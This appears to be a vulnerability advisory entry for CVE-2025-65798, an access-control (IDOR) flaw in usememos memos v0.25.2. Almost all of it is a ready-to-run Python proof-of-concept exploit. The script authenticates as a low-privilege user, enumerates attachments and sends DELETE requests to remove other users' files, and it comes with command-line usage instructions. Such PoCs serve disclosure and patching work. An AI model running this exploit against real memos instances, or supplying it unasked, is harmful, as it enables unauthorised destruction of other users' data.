CVE-2025-65798: usememos memos v0.25.2 访问控制错误漏洞

#!/usr/bin/env python3 """ CVE-2025-65798 PoC - usememos memos v0.25.2 IDOR Vulnerability This PoC demonstrates the Insecure Direct Object Reference vulnerability in usememos memos that allows low-privilege users to delete/modify attachments belonging to other users. """ import requests import json import sys class MemosIDORExploit: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.token = None self.user_id = None def login(self): """Authenticate and obtain access token""" login_url = f"{self.target_url}/api/v1/auth/login" data = { "username": self.username, "password": self.password } try: response = self.session.post(login_url, json=data, timeout=10) if response.status_code == 200: result = response.json() self.token = result.get('accessToken') self.user_id = result.get('user', {}).get('id') print(f"[+] Login successful! User ID: {self.user_id}") return True else: print(f"[-] Login failed: {response.status_code}") return False except Exception as e: print(f"[-] Login error: {e}") return False def get_attachments(self): """Enumerate attachments (may include other users' attachments)""" headers = {"Authorization": f"Bearer {self.token}"} try: response = self.session.get( f"{self.target_url}/api/v1/resource", headers=headers, timeout=10 ) if response.status_code == 200: return response.json().get('data', []) except Exception as e: print(f"[-] Error fetching attachments: {e}") return [] def delete_attachment(self, resource_id): """Delete target attachment (IDOR vulnerability)""" headers = {"Authorization": f"Bearer {self.token}"} try: response = self.session.delete( f"{self.target_url}/api/v1/resource/{resource_id}", headers=headers, timeout=10 ) if response.status_code == 200: print(f"[+] Successfully deleted attachment: {resource_id}") return True else: print(f"[-] Delete failed: {response.status_code}") return False except Exception as e: print(f"[-] Delete error: {e}") return False def exploit(self, target_resource_id): """Execute the IDOR exploit""" print(f"[*] Target resource ID: {target_resource_id}") print("[*] Attempting IDOR attack to delete arbitrary attachment...") return self.delete_attachment(target_resource_id) def main(): if len(sys.argv) < 5: print("Usage: python3 cve-2025-65798_poc.py <target_url> <username> <password> <target_resource_id>") print("Example: python3 cve-2025-65798_poc.py http://localhost:5230 attacker password 123456") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] resource_id = sys.argv[4] exploit = MemosIDORExploit(target, user, pwd) if exploit.login(): print("[*] Enumerating attachments...") attachments = exploit.get_attachments() print(f"[*] Found {len(attachments)} attachment(s)") print("[*] Executing IDOR exploit...") exploit.exploit(resource_id) if __name__ == "__main__": main()